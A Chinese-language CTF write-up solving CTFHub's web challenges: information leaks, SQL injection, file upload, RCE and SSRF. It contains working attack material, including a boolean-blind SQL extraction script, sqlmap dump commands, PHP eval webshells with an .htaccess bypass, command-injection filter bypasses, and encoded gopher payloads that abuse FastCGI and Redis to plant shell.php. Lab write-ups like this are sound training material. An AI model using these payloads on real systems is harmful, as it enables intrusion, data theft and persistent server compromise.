CTFHUB技能树——web篇

CTFHUB技能树——web篇

前言

因为我一开始是没打算写博客的,所有前面的图基本都没截图,以至于后面想写博客的时候没图,又没有金币了,我想吃西瓜都吃不到,更别说充金币。分币不花,玩的就是陪伴。前面的一些图来自于大佬们的博客,我会在结尾@出来。

web前置技能

HTTP协议

请求方式

用bp抓包把请求头改为CTFHUB即可

302跳转

301重定向和302重定向的区别:

302重定向只是暂时的重定向,搜索引擎会抓取新的内容而保留旧的地址;

301重定向是永久的重定向,搜索引擎在抓取新的内容的同时也将旧的网址替换为了重定向之后的网址。

bp抓包重放即可

Cookie

bp操作cookie

基础认证

简介:
在HTTP中,基本认证(英语:Basic a***ess authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证

附件提供了密码,很明显就是爆破

用bp中的intruder模块即可爆破

根据抓包可知,本网页提交会将用户名密码经过base64加密后提交,且格式为:

用户名:密码

先载入字典

增加爆破规则:
增加前缀YWRtaW46(admin:的base64的编码)

再加上base64

将爆破后所得结果base64解码提交即可

响应包源代码

看一下源码就出来了,不知道要考啥

信息泄露

目录遍历

乱点即可

phpinfo

在网站后加上phpinfo,查找flag即可

备份文件下载

网站源码

手动试 脚本 御剑都可

下面是脚本

import requests

url = "http://challenge-asd2b3af19e2c1e7.sandbox.ctfhub.***:10080/"

l1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
l2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in l1:
    for j in l2:
        url_final = url + "/" + i + "." + j
        r = requests.get(url_final)
        print(str(r)+"+"+url_final)

bak文件

bak是一个备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。

直接访问bak文件

flag在bak文件里

vim缓存
swp文件:非正常关闭vim就会生成swp文件

所以我们访问swp

获取到swp文件后,直接编辑的话是一堆乱码,因为其并不是文本格式

.DS_Store

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。

直接访问

点击下载好的文件 用记事本打开 再返回到网站链接输入这串数字之间不能有空格 回车即可得到flag

git泄露

git svn hg这些题都是使用kali操作的

git是什么?

Git(读音为/gɪt/)是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。也是Linus Torvalds为了帮助管理Linux内核开发而开发的一个开放源码的版本控制软件。
著名的GitHub就是以git为基础构造的 现在很多公司都使用git 因为他简单 高效

安装工具:githack

链接: https://github.***/BugScanTeam/GitHack

kali自带git 可以用下面的命令直接安装

git clone https://github.***/BugScanTeam/GitHack
log

在GitHack文件夹中使用python GitHack.py url/.git/

跳转对应url生成的文件夹下

使用git show 命令就可以直接得到flag

stash

同上,在GitHack文件夹中使用python GitHack.py url/.git/

跳转对应url生成的文件夹下

输入 git stash list 查看git stash所储藏的修改

输入git stash pop 查看git stash最近一次入站的命令,在这道题就是flag

打开challenge-9c602df6b94b6402.sandbox.ctfhub.***_10800文件加下的txt文件就可得到flag

index

同上,在GitHack文件夹中使用python GitHack.py url/.git/

跳转对应url生成的文件夹下

输入git log 显示提交日志信息。

输入git diff +(***mit后面的内容)

SVN泄露

安装dvcs-ripper

git clone https://github.***/kost/dvcs-ripper.git

安装相应的依赖包

sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite4-perl libclass-dbi-perl libio-all-lwp-perl
sudo apt-get install libparallel-forkmanager-perl libredis-perl libalgorithm-***binatorics-perl
sudo apt-get install cvs subversion git bzr mercurial

在dvcs-ripper文件夹下运行

perl rip-svn.pl -v -u http://www.example.***/.svn/

用ls-al查看隐藏文件(也可用ctrl+H在文件夹下查看)

最后在这个目录下:

HG泄露

在dvcs-ripper文件夹下用

perl ./rip-hg.pl -v -u http://www.example.***/.hg

tree .hg(没有可以直接下载sudo apt-get install tree)

看到一个.txt,打开看看

利用正则匹配找一下flag

放到浏览器看即可

http://www.example.***/flag_2658329700.txt

密码口令

弱口令

什么是弱口令?

弱口令是网络安全十大安全漏洞之一,所谓的口令其实就是我们的密码,而弱口令就是相对来说比较容易被破解的密码,它会对信息安全造成严重的安全隐患。
弱口令我们可以简单的理解为能让别人随意就猜到的密码,比如abc、111、123、123456、88888888等等诸如此类的密码。
  除此之外大家都能知道的密码称之为弱口令。还有以下的几点也如果不达到要求也可以称之为弱口令:
①空口令,没有设置密码
②口令小于8个字符且较为简单
③口令为连续的字母或者单纯数字
④口令为本人相关的名字字母,生日,易被发现的邮箱号,账号名昵称名,都可以称为弱口令,可以定义为针对你的弱口令,而不是普遍的弱口令。

弱口令一旦被破解将面临很严重的资产风险,在网络安全方面,我们的云主机,服务器一旦暴露了我们的登录密码则会导致我们的主机被入侵,导致我们网站,app,主机载体的内容受到损坏,可能导致不可逆的破坏和严重的经济损失。

同时不仅仅是主机、服务器,弱口令还涉及到我们日常的各类登录密码邮箱,微信、qq、web注册页面等等都是我们需要留意的,账号价值高的账户一定要设置安全复杂口令。

复杂口令建议:8字符以上且包含英文大小写+数字+符号的组合,同时一旦有暴露口令的风险一定要及时更换口令。

使用bp进行密码爆破即可 不多逼逼

默认口令

打开之后看到

去百度查亿邮邮件网关的默认口令

剩下的就是一个一个试,拿到flag

SQL注入

注入流程:

1.判断数据类型

id=1 and 1=1  	不报错			id=1 and 1=2		报错		#数字型
id=1' and 1=1#  	不报错			id=1' and 1=2#		报错		#字符型

2.使用order by查询字段数
order by x 后面接数字x是根据该表的第x列以默认升序方式排列,如果没有第x列则会报错,反之会执行。可以不断使用order by x这种方式来判断该表的字段数。(在这里都是2个字段,即order by 3就报错)

3.使用联合查询爆库名

union select database();

4.使用联合查询爆表名

union select database(),group_concat(table_name) from information_schema.tables where table_schema=database();

5.使用联合查询爆字段名

union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="查询到的表名";

6.使用联合查询在表中查询所需要的字段信息

union select database(),group_concat(username,'+',password) from "表名"

整数型注入

跟流程走即可

1 order by 2
1 order by 3

字段数为2

-1 union select 1,database()

数据库名称为sqli

-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()

有两个表,我们需要进入flag表

-1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'

flag表中中只有一个字段也是flag

-1 union select 1,flag from sqli.flag

字符型注入

照着上面写

报错注入

简单来说就是正确的没回显,错了还有回显

使用 updatexml得到库名

/?id=-1 and updatexml(1,concat(1,database()),2)

接下来获取表名,输入

/?id=-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)

获取flag表字段

/?id=-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2)

获取flag字段值

/?id=-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2)

布尔盲注

核心语句

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。
/?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))

第一个字母为s 时 回显su***ess

第一个字母为a 时 回显error

tm的这么判断得整到啥时候去 所以得用脚本(自己写或者sqlmap)

脚本

import requests
 
start_url = 'http://challenge-4456dbf40a5c166f.sandbox.ctfhub.***:10800' #改成自己的url
starOperatorTime = []
mark = 'query_su***ess'
 
def database_name():
    name = ''
    for j in range(1,9):
        for i in 'qwertyuiopasdfghjklzxcvbnm':
            url = start_url+'/?id=if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
            r = requests.get(url)
            if mark in r.text:
                name = name+i
 
                print(name)
 
                break
    print('database_name:',name)
 
 
 
def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'qwertyuiopasdfghjklzxcvbnm':
                url = start_url+'/?id=if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)
 
 
def column_name():
    list = []
    for k in range(0,3): #判断表里最多有3个字段
        name=''
        for j in range(1,10): #判断一个 字段名最多有10个字符组成
            for i in 'qwertyuiopasdfghjklzxcvbnm':
                url=start_url+'/?id=if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)
 
 
def get_data():
    name=''
    for j in range(1,40): #判断一个值最多有40个字符组成
        for i in range(48,126):
            url=start_url+'/?id=if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
            r=requests.get(url)
            if mark in r.text:
                name=name+chr(i)
                print(name)
                break
    print ('value:',name)
 
 
 
if __name__ == '__main__':
    database_name()
    table_name()
    column_name()
    get_data()

时间盲注

接下来掏出我们sql注入的神器:sqlmap

下载地址:https://sqlmap.org/

为神马?因为他好用啊!!

先说以下时间盲注的核心语句

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

用sqlmap查库

python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.***:10800/?id=1 --batch --technique T --dbs

得到了 库名

查表

python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.***:10800/?id=1 --batch --technique T -D sqli --tables

查字段

python2 sqlmap.py -u http://challenge-zxc65482adf6bcfd.sandbox.ctfhub.***:10800/?id=1 --batch --technique T -D sqli -T flag --columns

查值

python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.***:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump

MySQL结构

跟上关一样,换个表名和字段名,直接sqlmap梭哈

Cookie注入

抓包修改Cookie(burpsuite)

发现两个注入点

爆出库名

下面就是一样的流程,查表,查字段,查flag(不过到这里开始表名,字段名都是随机生成的)

UA注入

在ua头里操作即可

Refer注入

在referer里操作(这里我用火狐插件HackBar来操作,这插件很方便)

过滤空格

吧空格换为/**/即可

文件上传

无验证

直接上传一句话木马,蚁剑连接就行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3Z19kqRT-1681990837733)(https://raw.githubusercontent.***/2453862397/mdImage/main/img/QQ%E6%88%AA%E5%9B%BE20230410083348.png)]

前端验证

将2.php(一句话木马)改为png的格式,上传绕过前端,用bp抓包改为php即可

.hta***ess

.hta***ess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.hta***ess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.hta***ess文件会被Apache Web服务器软件检测并执行。这些.hta***ess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

.hta***ess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

在这里的作用是让别的文件以php的方式运行,这个题中f12可以看到代码过滤了很多的文件后缀名,所以我们的思路是以png的格式上传,之后上传hta***ess文件,就可以让png的文件以php的方式运行

思路:
1、上传png格式的一句话木马
2、上传.hta***ess文件

AddType application/x-httpd-php .png  			//.png文件当作php文件解析

3、蚁剑连接

MIME绕过

上传木马,将Content-Type改为png格式即可

00截断

如图所示

双写后缀

字面意思

文件头检查

RCE

eval执行

/?cmd=system("ls /");			//查看根目录 发现flag_1203
/?cmd=system("cat /flag_1203");			//使用cat 命令查看 flag_8999文件

文件包含

目提示 i have a shell, how to use it?

可知shell文件是shell.txt 我们包含shell.txt文件 就可以用eval()函数执行任意命令

php://input

看题目就知道,是考察我们对php伪协议的理解

我们在phpinfo()界面里发现 allow_url_include on

php://input

用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.

因此可以用php://input 来执行post输入流的命令

下面就是正常的流程

读取源代码(php://filter)

和上一题一样,也是考察我们对php伪协议的了解,不多说。

远程包含

虽说写的远程包含,但还是input伪协议简单点

​ phpinfo()发现,allow_url_fopen 和include都on,存在远程文件包含

和input那题一样的操作

命令注入

ping 命令可以测一下与主机网络联通情况。但是如果过滤不严的话,也会导致恶意命令执行。

可以用管道符 来执行我们想执行的命令。

传入 127.0.0.1 | ls

照着流程走就行

过滤cat

两种方法:

1 可以用其他查看文本命令,比如tac,head,tail,nl,vim,less,more等
2 使用 \ '' "" {任意无意义变量名}等方法绕过

过滤空格

空格过滤绕过:
${IFS}
$IFS$
$IFS$1
$IFS$9
%09
%20
<>
<

过滤目录分隔符

目录分隔符 / 被过滤了。

127.0.0.1&ls		//可以看到 flag_is_here 文件夹		
127.0.0.1;cd flag_is_here;ls  //这里使用 ; 或者 && 执行多条命令
进入文件夹,显示目录
127.0.0.1;cd flag_is_here;cat flag_************.php //cat 查看flag文件 

过滤运算符

命令分隔符
linux中:

%0a(回车) %0d(换行)   
;    
&      
|       
&&    
||

windows中:

%0a
&
|
%1a(作为.bat文件中的命令分隔符)

题目对管道符 | & || &&,进行了过滤。

127.0.0.1;ls				//使用 ;即可
127.0.0.1;cat flag_*************.php

综合过滤练习

/?ip=127.0.0.1%0acd${IFS}f*_is_here${IFS}%0als
//%0a是命令分隔符,${IFS}是空格,f*_is_here是正则。翻译过来就是/?ip=127.0.0.1&cd flag_is_here &ls

SSRF

内网访问

根据提示直接打开访问即可

伪协议读取文件

根据题目的意思我们需要使用URL的伪协议去读取文件,那么我们首先要了解URL的伪协议。
URL伪协议有如下这些:

file:///
dict://
sftp://
ldap://
tftp://
gopher://(万金油)

网站的根目录一般都是在/var/www/html下
使用file:///协议

查看源代码就能看到flag

端口扫描

端口扫描一般都使用dict伪协议

提示,端口8000-9000

so,两种方法

bp爆破端口
写个简单脚本

脚本:

tm的,我搞半天也没搞出来,后来换个bp就好了

POST请求

后面的题都做得一知半解的,Gopher协议都是多老的协议的,还拿出来比划比划。

了解一下Gopher协议

Gopher是Inter***上一个非常有名的信息查找系统,它将Inter***上的文件组织成某种索引,很方便地将用户从Inter***的一处带到另一处。在WWW出现之前,Gopher是Inter***上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

我们访问flag.php 会给我们一个上传框,同时给了我们key

结合题目,需要我们用gopher协议去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。使用方法:gopher://ip:port/_payload

构造post请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=dbb8dsdfasdfasdfasdfdsavzxv(按自己的写)

用大佬的脚本,

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

生成payload

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=12dd6ab1a18c2fabacb046757c84de1b

上传文件

根据提示上传文件

补上提交按钮

我们需要通过get方式来进行上传一个文件到flag.php,利用gopher协议:
通过上面大佬的脚本对请求包进行编码:

生成payload

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-8ef5cef185a1ff8c.sandbox.ctfhub.***%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A97.0%2529%2520Gecko/20100101%2520Firefox/97.0%250D%250AA***ept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AA***ept-Language%253A%2520zh-***%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AA***ept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------32122413682081012985660864680%250D%250AContent-Length%253A%2520448%250D%250AOrigin%253A%2520http%253A//challenge-8ef5cef185a1ff8c.sandbox.ctfhub.***%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-8ef5cef185a1ff8c.sandbox.ctfhub.***%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------32122413682081012985660864680%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.c%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A%2523include%253Cstdio.h%253E%250D%250Aint%2520main%2528%2529%250D%250A%257B%250D%250A%2509int%2520a%252Cb%252***%253B%250D%250A%2509scanf%2528%2522%2525d%2520%2525d%2522%252C%2526a%252C%2526b%2529%253B%250D%250A%2509c%253Da%252Ab%253B%250D%250A%2509printf%2528%2522%2525d%2522%252C%2526c%2529%253B%250D%250A%2509return%25200%253B%250D%250A%257D%250D%250A-----------------------------32122413682081012985660864680%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------32122413682081012985660864680--%250D%250A%250D%250A

FastCGI协议

FastCGI协议详解:https://blog.csdn.***/mysteryflower/article/details/94386461

Gopherus工具:https://github.***/tarunkant/Gopherus.git

kali安装Gopherus工具

git clone https://github.***/tarunkant/Gopherus.git

准备一句话木马:<?php @eval($_POST['x']);?>,

构造要执行的终端命令:对一句话木马进行base64编码,并写入到名为shell.php的文件中。

echo “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php

运行Gopherus

python2 gopherus.py --exploit fastcgi

将生成的payload进行编码

?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%32%33%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%37%42%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%43%67%25%33%44%25%33%44%25%32%32%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30

访问后shell.php已经上传到网站根目录下:
蚁剑连接:

Redis协议

运行gopherus

python2 gopherus.py --exploit redis				//按下图填写

将生成的payload进行编码

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bstray%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A

访问shell.php(默认上传的文件名为shell.php):

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.***,来尝试利用URL的一些特殊地方绕过这个限制吧

1.利用?绕过限制url=https://www.baidu.***?www.xxx.me
2.利用@绕过限制url=https://www.baidu.***@www.xxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.***#www.xxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

这题我们就可以利用@符号绕过:

题目要求 url must startwith “http://notfound.ctfhub.***”,我们可以利用@来绕过。
如 http://clay@127.0.0.1 实际上是以用户名 clay 连接到站点 127.0.0.1。
即 http://notfound.ctfhub.***@127.0.0.1 与 http://127.0.0.1 请求是相同的。

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了,但可以用别的方法:

127.0.0.1的十进制:2130706433
127.0.0.1的十六进制:0x7F000001

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

302跳转代码:

<?php 
header("Location: http://127.0.0.1/flag.php");
?>

使用localhost也是一样的道理:

?url=localhost/flag.php

另一种方式:
就是在服务器上写入上面的302跳转代码,

http://challenge-***5e39e4db13d74.sandbox.ctfhub.***:10800/?url=yourip:port/302.php

此题不能进行http的访问,但是127.0.0.1(localhost)可以访问

DNS重绑定 Bypass

验证工具

https://lock.cmpxchg8b.***/rebinder.html

附件中讲的很清楚,由于我们无法在程序运行时以毫秒为单位手动更改DNS记录,所以要想实现DNS重绑定攻击,就必须配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。我们可以自己编写解析服务,也可以利用测试dns重绑定漏洞的网站,让一个域名随意绑定两个IP。

构造payload:url=指定域名/flag.php,成功得到flag。

参考文章:

(4条消息) ctfhub 技能树 信息泄露 git泄露_github技能树git泄露_haoxue__的博客-CSDN博客

(4条消息) CTFHUB技能树(全详细解析含进阶)_無名之涟的博客-CSDN博客

(4条消息) CTFHUB技能树SQL注入整数型和字符型注入_!__ !的博客-CSDN博客

https://blog.csdn.***/weixin_63231007/article/details/124847164

https://blog.csdn.***/qq_45927819/article/details/123400074

转载请说明出处内容投诉
CSS教程_站长资源网 » CTFHUB技能树——web篇

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买